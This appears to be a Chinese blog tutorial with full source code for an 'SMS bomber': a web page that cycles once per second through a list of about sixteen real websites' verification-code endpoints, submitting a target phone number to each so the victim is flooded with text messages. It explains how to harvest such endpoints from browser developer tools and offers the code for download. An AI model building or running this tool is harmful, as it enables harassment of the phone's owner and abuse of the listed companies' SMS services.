一、请求原理
由于现在网站的都有手机登陆或注册,向制定地址发送一个post活get请求,那么我们利用这一思路,就可以在本地上利用Ajax来模拟网站的登陆注册操作,从而实现向发送验证码。
二、获取第三方网站验证码接口
随便找一个带验证码登陆的第三方网站,在浏览器中打开控制台,输入手机号码,点击获取验证码,我们可以看到又一个请求发送出去。


点击“index.php?m=LoginPhoneNew&a=sendMessageLogin”,查看载荷,我们会发现向下图中标记的url发送了一个get请求,有参数:scene、token,发现phone正是我们刚刚输入的手机号

我们在本地写一段代码,用ajax向上面的地址发送一个get请求,调用test()方法,将num的值换成自己的,看是否有验证码收到。

三、源代码
HTML代码
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>短信接口请求 V1.1</title><meta http-equiv="Access-Control-Allow-Origin" content="*"><link href="plug/bootstrap/bootstrap.min.css" rel="stylesheet"><script src="plug/jquery/jquery-3.4.1.min.js"></script><script src="plug/bootstrap/bootstrap.min.js"></script><script src="plug/crypto/crypto-js.js"></script><script src="index.js"></script>
</head>
<body><div class="row p-3"><div class="col-12"><div class="card border-danger border-1 m-auto" style="width: 500px;"><div class="card-header bg-danger text-white" style="line-height: 32px">短信接口请求 V1.1<a href="https://blog.csdn.net/weixin_43532890/article/details/114928740"><img src="assets/img/js-jun.jpg" class="float-right" width="32" height="32"style="border-radius: 50%"></a></div><div class="card-body pb-0"><div class="input-group mb-3"><div class="input-group-prepend"><span class="input-group-text">手机号</span></div><input type="text" class="form-control" placeholder="" id="phone"></div><button class="btn btn-success" id="start" onclick="send()">开始发送</button><button class="btn btn-danger" id="'end" onclick="end()">停止发送</button><button class="btn btn-primary float-right" onclick="test()">单元测试</button><div class="alert alert-success mt-3 text-center mb-0 p-2" id="msg" role="alert">准备发送</div></div><span class="w-100 text-center p-1" style="font-size: 12px"><a class="text-black-50" href="https://blog.csdn.net/weixin_43532890?spm=1001.2101.3001.5343">By:Js君</a></span></div></div>
</div><script>var timer = nullvar index = 0// 开始发送function send() {$('#start').attr('disabled', true)$('#phone').attr('disabled', true)var phone = $("#phone").val()if (phone.length !== 11) {$('#msg').text('请输入正确的手机号')return}$('#msg').text('正在向:' + phone + '发送')$('#msg').show()timer = setInterval(function () {if (index >= requestList.length) {index = 0;}requestList[index++].fn(phone)}, 1000)}// 停止发送function end() {$('#start').attr('disabled', false)$('#phone').attr('disabled', false)$('#msg').text('准备轰炸')clearTimeout(timer)}// 测试发送function test(phone = ''/*这里填写测试手机号, 仅测试用*/) {$.ajax({url: 'https://editor.588ku.com/site-api/send-tel-login-code',type: 'GET',data: {num: phone,},async: false});}</script>
</body>
</html>
请求接口(注意部分接口可能不能使用,仅供参考),需要自行
/*** 第三方网站短信接口* 最后更新:2021-03-12* @type {*[]}*/
var requestList = [{name: '',fn: function (phone) {$.ajax({headers:{},url: "http://www.900ppt.com/api/login/getSmsCode",data: {phone: phone,easy: 1},type: "GET",dataType: "json",});}},{name: '',fn: function (phone) {$.ajax({url: 'https://editor.588ku.com/site-api/send-tel-login-code',type: 'GET',data: {num: phone,},async: false});}},{name: '',fn: function (phone) {$.ajax({url: "http://test.marketing.i.vipcode.com/api/marketing/dataStatistics/sendCode",type: "post",data: {phone: phone,},dataType: "json",})}},{name: '',fn: function (phone) {$.ajax({type: 'GET',url: 'https://818ps.com/site-api/send-tel-login-code?num=' + phone,dataType: 'json',async: false,});}},{name: '',fn: function (phone) {function encrypt(data) {var key = CryptoJS.enc.Utf8.parse("AE74AF98D6BF55BF");var srcs = CryptoJS.enc.Utf8.parse(data);var encrypted = CryptoJS.AES.encrypt(srcs, key, {mode: CryptoJS.mode.ECB,padding: CryptoJS.pad.Pkcs7});return encrypted + "";}phone = encodeURIComponent(encrypt(phone))$.ajax({'url': 'http://ecs.tk.cn/eservice/member/login','type': 'post','data': 'syn=Y&functioncode=getmark&mobile=' + phone,'dataType': 'json',});}},{name: '',fn: function (phone) {$.ajax({'url': 'https://ipassport.damai.cn/newlogin/sms/send.do?appName=damai&fromSite=18','type': 'post','data': {phoneCode: '86',loginId: phone,countryCode: 'CN',umidGetStatusVal: 255,navlanguage: 'zh-CN',navPlatform: 'MacIntel',appName: 'damai',appEntrance: 'damai',_csrf_token: '23oX2Nx9U8f1fAY70GEnkA',umidToken: '3052e89b053c39db7435508f6158f606acf913f8',isMobile: false,},dataType: 'json',});}},{name: "",fn: function (phone) {$.ajax({url: "http://www.kuaiming.com/user_zhu/getsjcode1",type: "POST",dataType: "json",data: {userName: phone},})}},{name: '',fn: function (phone) {$.ajax({url: "https://www.sunlife-everbright.com/eportal/ui?struts.portlet.mode=view&struts.portlet.action=/portlet/CommonPageAjaxFront!memberCookies.action&moduleId=dc3a284c84fd4b818a3681828fcd2775&action=SendSmsCode\n",type: "POST",dataType: "json",data: {mobile: phone,action: 'SendSmsCode',},})}},{name: "",fn: function (phone) {$.ajax({url: 'http://user.api.hudunsoft.com/v1/sms',type: 'post',data: {client: "web",client_ver: "4.3.6.0",code: "",device_id: "209a642e56584b2c820b83a95245daf1",domain: "http://huatu.98youxi.com",phone: phone,soft_version: "1.3",source: "122",uuid: "209a642e56584b2c820b83a95245daf1",version: "v1.0.0",},dataType: 'json',})}},{name: "",fn: function (phone) {$.ajax({url: 'https://api-www.izhikang.com/api/sms/send_sms',type: 'post',data: {sign: '3ca53d66c8d4d90bc9d373894d554799',phone: phone,},dataType: 'json',})}},{name: "",fn: function (phone) {$.ajax({url: 'https://www.huohua.cn/passport/auth_code/send',contentType: "application/json;charset=UTF-8",type: 'post',data: '{"authType": "2", "countryCode": "86", "phone": "' + phone + '"}',dataType: 'json',})}},{name: "",fn: function (phone) {$.ajax({url: 'https://open-service.codemao.cn/captcha/rule',contentType: "application/json;charset=UTF-8",type: 'post',data: '{"deviceId": "89b5cb3b00a910b2a123d882a6255caf", "identity": "' + phone + '", "pid": "4ceH5ekc", "timestamp": 1614589965}',dataType: 'json',success: function (data) {$.ajax({url: 'https://api-marketing.codemao.cn/admin/marketing/sms/captcha/new',contentType: "application/json;charset=UTF-8",type: 'post',data: '{"app_id":"", "phone_number": "' + phone + '", "ticket": "' + data.ticket + '"}',dataType: 'json',})}})}},{name: "",fn: function (phone) {$.ajax({url: 'https://app-gateway.zmlearn.com/api/operation-web-server/v1/ow/validateChildCode',type: 'POST',headers: {'Content-Type': 'application/json; charset=utf-8'},dataType: 'json',data: JSON.stringify({mobile: '86-' + phone}),})},},{name: '',fn: function (phone) {$.ajax({url: 'http://www.92sucai.com/send_code',type: 'post',data: {type: 1,phone_num: phone,},})}},{name: '',fn: function () {$.ajax({url: 'https://api.gif.cn/register/sms',type: 'post',data: {phone: phone,},})}},{name: '',fn: function () {$.ajax({url: 'https://www.diantoushi.com',type: 'get',data: {mobile: phone,},})}}
]
效果展示

四、源码下载
CSDN下载链接:https://download.csdn.net/download/weixin_43532890/15739414
加入QQ群:640868439 下载(由于审核问题,可到群里下载,免费)














